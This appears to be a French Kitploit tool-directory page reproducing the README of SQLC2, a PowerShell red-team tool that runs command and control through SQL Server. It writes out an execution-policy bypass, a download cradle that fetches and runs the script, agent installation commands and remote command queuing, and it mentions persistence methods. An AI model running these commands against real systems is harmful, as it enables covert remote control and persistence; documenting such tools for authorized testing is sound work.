Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SQLC2 — SQLC2 est un script PowerShell pour déployer et gérer un système de commande et de contrôle qui utilise SQL Server à la fois comme serveur de contrôle et comme agent. | Kitploit
Outils/GitHubGitHub/netspi/sqlc2
Mécanismes de PersistanceTests d'IntrusionSécurité CloudCommandement et ContrôleRed TeamingSécurité des Bases de Données
GitHubnetspi/sqlc2

SQLC2

SQLC2 est un script PowerShell pour déployer et gérer un système de commande et de contrôle qui utilise SQL Server à la fois comme serveur de contrôle et comme agent.

Voir le dépôt
7521il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SQLC2

SQLC2 est un script PowerShell permettant de déployer et de gérer un système de commande et de contrôle qui utilise SQL Server à la fois comme serveur de contrôle et comme agent. Dans sa forme la plus simple, SQLC2 n'est qu'un script PowerShell, un script TSQL et quelques tables dans une instance SQL Server qui suivent les agents, les commandes et les résultats. Rien de très sophistiqué, mais cela peut s'avérer utile lors de certaines missions.

Pour une vue d'ensemble plus complète de SQLC2, consultez le blog à l'adresse https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Auteur et licence

  • Auteur : Scott Sutherland (@_nullbind), NetSPI - 2018
  • Licence : BSD 3-Clause
  • Dépendances requises : aucune

Pourquoi s'embêter avec un C2 basé sur SQL Server ?

De plus en plus d'entreprises commencent à utiliser des bases de données Azure SQL Server. Lorsque ces instances Azure SQL Server sont créées, elles sont rendues accessibles via un sous-domaine de database.windows.net sur le port 1433. Par exemple, je pourrais créer une instance SQL Server nommée « mysupersqlserver.database.windows.net ». Par conséquent, certaines configurations réseau d'entreprise autorisent l'accès Internet sortant à n'importe quel sous-domaine « database.windows.net » sur le port 1433.

L'idée générale est qu'avec l'adoption croissante d'Azure SQL Server, il y aura davantage d'opportunités d'utiliser SQL Server comme canal de contrôle qui ressemble un peu à du trafic normal. SQLPS est une preuve de concept assez basique, mais je pense qu'il est suffisamment fonctionnel pour illustrer l'idée. Je sais qu'il y a pas mal d'améliorations à apporter, mais si vous finissez par l'essayer, j'aimerais avoir votre retour.

Pas uniquement pour Azure

Bien que l'accent soit mis sur l'utilisation de SQLC2 avec des instances Azure SQL Server, vous pouvez héberger votre propre SQL Server dans n'importe quel environnement cloud et le faire écouter sur le port 443 avec SSL activé. Cela peut donc offrir un peu plus de flexibilité selon l'effort que vous souhaitez y consacrer.

Chargement de SQLC2

  • Option 1 : Téléchargez le script et importez-le. Cela ne nécessite pas de privilèges administratifs et le script ne sera importé que dans la session en cours. Cependant, il peut être bloqué par des stratégies d'exécution restrictives ; vous pouvez donc utiliser l'option de contournement (bypass).

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Option 2 : Chargez-le dans une session via un cradle de téléchargement. Cela ne nécessite pas de privilèges administratifs et ne sera importé que dans la session en cours. Cela ne devrait pas être bloqué par les stratégies d'exécution.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Remarque : Pour exécuter en tant qu'utilisateur de domaine différent, utilisez d'abord la commande runas pour lancer PowerShell.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Schéma d'architecture de base de SQLC2

SQLC2Arch

Fonctions utilisateur

Vous trouverez ci-dessous la liste des fonctions utilisateur qui prennent en charge les flux de travail prévus.

Captures d'écran

Voici quelques exemples de captures d'écran.

Installation du serveur SQLC2 (création des tables) :

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Installer le C2

Installation de l'agent SQLC2 (travail d'agent SQL Server utilisant un lien de serveur) :

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Installer l'agent

Affichage des agents SQLC2 :

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Définition d'une commande à exécuter sur l'agent :

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Définir la commande

Récupération des résultats de commande :

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Obtenir la sortie de la commande

Télécharger l’outil
Function NameDescription
Install-SQLC2ServerInstalle les tables SQLC2 sur le serveur SQL/la base de données cible.
Install-SQLC2AgentPsInstalle un agent qui utilise un travail d'agent SQL Server et un lien de serveur.
Install-SQLC2AgentLinkInstalle un agent qui utilise une tâche planifiée ou une clé de registre pour exécuter des commandes PowerShell.
Set-SQLC2CommandDéfinit les commandes du système d'exploitation que les agents doivent exécuter.
Get-SQLC2CommandObtient la liste des commandes du système d'exploitation en attente depuis le C2 pour l'agent. Cette fonction peut également exécuter la commande en attente avec le paramètre -Execute.
Get-SQLC2AgentObtient la liste des agents enregistrés sur le serveur SQLC2.
Get-SQLC2ResultObtient la liste des commandes en attente et terminées. Prend en charge les filtres servername, status et cid.
Remove-SQLC2AgentSupprime les agents enregistrés sur le SQLC2. Efface simplement l'historique.
Remove-SQLC2CommandSupprime l'historique des commandes sur le serveur SQLC2.
Uninstall-SQLC2AgentLinkDésinstalle l'agent SQLC2 qui utilise des liens de serveur et un travail d'agent.
Uninstall-SQLC2AgentPsDésinstalle toutes les méthodes de persistance basées sur le système d'exploitation.
Uninstall-SQLC2ServerSupprime les tables SQLC2 de la base de données cible.